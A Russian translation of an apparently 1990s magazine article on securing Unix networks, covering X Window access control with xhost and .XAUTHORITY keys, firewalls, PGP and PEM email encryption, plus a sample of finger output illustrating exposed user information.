    Стандартом Windows для Unix является X Window. Обычно его называют просто X. Секретность информации в X обеспечивается конечным пользователем. Термины "клиент" и "сервер" в X часто взаимозаменяемы, а монитор, отображающий X, назван дисплейной станцией. Пользователь может не обеспечить достаточную защиту дисплейной станции. Доступом системы к дисплейной станции управляет команда xhost, в то время как доступом пользователя к дисплейной станции управляет xauthorities. Доступ позволяет осуществлять отображение окон или приложений и мониторинг дисплейной станции. Имеющийся инструментарий позволяет отслеживать ввод в различные окна и осуществлять удаленный ввод данных в открытые окна.

    Когда активирована xauthorities, то необходим ключ Data Encryption Standard (DES) для того, чтобы пользователь мог выводить изображение на дисплейную станцию. Каждый раз при открытии сеанса генерируется новый ключ. Ключи хранятся в корневом каталоге пользователя в файле. XAUTHORITY. Чтобы другой пользователь смог получить доступ к дисплейной станции, ключ должен быть извлечен из файла. XAUTHORITY и добавлен к файлу. XAUTHORITY другого пользователя. То же самое должно быть проделано для того же пользователя в другой системе. Например, если пользователь VIP пользуется дисплейной станцией MAPLE и хочет отобразить программы из системы OAK в MAPLE, ключ должен быть введен в файл. XAUTHORITY в OAK. Использование и xhost, и xauthority необходимо для обеспечения секретности в X. Пользователь должен быть довольно грамотен для обеспечения сохранности информации в X.

    Сохранение мира
    Сеть под Unix может быть засекречена. Первый шаг заключается в обеспечении жесткого контроля всего доступа в сеть и системы. Затем следует обеспечить все узлы сети посредством надежного конфигурирования протоколов и приложений и использовать шифрование всех данных, проходящих через незащищенные сети, какой является самая большая в мире открытая сеть Internet. LAN
    --------------------------------------------------------------------------------
    Синди Куллен - старший системный инженер компании Bell Communications Research (Пискатавей, шт. Нью-Джерси). С ней можно связаться через Internet по адресу: [email protected]
    --------------------------------------------------------------------------------

    $ finger username@systemname


    Login name: username (messages off) In real life: Actual Name

    Directory:/u/username Shell:/bin/ksh

    On since Jun 23 10:11:57 on ttyq1 13 seconds Idle Time

    No Plan.


    $ finger @ systemname

    Login Name TTY Idle When

    console root-C. Cullen - group XXXXX console 12 Thu 03:36

    cdc C. Cullen, 555-1212 p0 9 Sat 05:34

    vip very important person, p5 Sun 12:25
    guest of Cindy Cullen


    Рисунок 1.
    В этом примере представлена часть вывода по выполнении команды finger (обратите внимание на информацию в поле имени). В ноябре 1988 года Роберт Т. Моррис-младший, в то время студент, изучающий компьютерные технологии в Корнельском университете, создал Morris Worm, самокопирующуюся и самораспространяющуюся программу, которая буквально поразила Internet. В программе использовалась именно команда finger.
    --------------------------------------------------------------------------------

    НЕИЗБЕЖНЫЕ ПОПУТЧИКИ
    Объезд супермагистрали
    Firewall - это механизм, использующийся для защиты сети по всему периметру. Его наиболее популярное применение - защита корпоративных сетей от несанкционированного доступа из Internet. Существуют два основных подхода, используемых в firewalls. Набор фильтров firewall, как следует из его названия, фильтрует или отсеивает ненужные пакеты, руководствуясь множеством правил, названным списком контроля доступа (access control list).
    Firewall для сервера приложений или посредника - это программа. Такой firewall фильтрует или определяет направление соединения для протоколов telnet, SMTP, ftp и World Wide Web. Пользователь должен иметь соответствующее программное обеспечение клиента и быть авторизован в firewall. Это позволяет контролировать доступ на уровне пользователя и регистрировать трафик их сети в сеть.

    Серверы приложений и посредники обеспечивают жесткий контроль входящих и исходящих данных. Например, функции ftp могут ограничиваться только "puts" или "gets" и каждая транзакция может быть зарегистрирована.


    --------------------------------------------------------------------------------

    ПРИ ПЛОХОЙ ЗАЩИТЕ ЭЛЕКТРОННУЮ ПОЧТУ
    СМОЖЕТ ПРОЧИТАТЬ КАЖДЫЙ
    Запечатайте электронную почту
    Pretty Good Privacy (PGP) может использоваться для шифрования файлов и электронной почты, а также для подписания документов с заверенной электронной подписью. PGP использует технику шифрования открытым ключом и секретным ключом. При посылке зашифрованной электронной почты, сообщение необходимо зашифровать открытым ключом получателя, секретный же ключ должен быть послан получателям под защитой их открытых ключей. Таким образом, только легитимный получатель способен расшифровать сообщение при помощи своего личного ключа.
    Личный ключ каждого пользователя может быть использован для подписи документа. Соответствующий открытый ключ используется для определения подлинности документа.

    PGP распространяется бесплатно для некоммерческого использования, хотя существуют и коммерческие версии. Он доступен для большинства систем под Unix, DOS, Windows, OS/2 и Macintosh. Экспортные ограничения распространяются на PGP. Однако совместимое с PGP программное обеспечение доступно и за пределами Соединенных Штатов.

    Privacy Enhanced Mail (PEM) - это стандарт шифрования электронной почты, разработанный группой инженерной поддержки Internet (IETF). PEM можно использовать для подписывания и шифровки сообщений электронной почты. Поддержка PEM доступна для приложений на ПК в системах Unix и Macintosh. PEM тоже использует шифрование с открытыми ключами.